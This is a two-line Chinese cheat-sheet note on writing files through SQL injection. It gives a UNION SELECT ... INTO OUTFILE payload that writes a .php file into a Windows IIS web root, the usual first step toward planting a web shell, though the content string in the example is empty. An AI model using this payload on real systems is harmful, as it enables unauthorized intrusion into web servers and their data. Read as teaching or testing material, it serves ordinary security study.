sql注入写文件的函数有：
文件写入使用into outfile函数，例如：
union select 1,"",3,4,5 into outfile 'C:/Inetpub/wwwroot/cc.php'
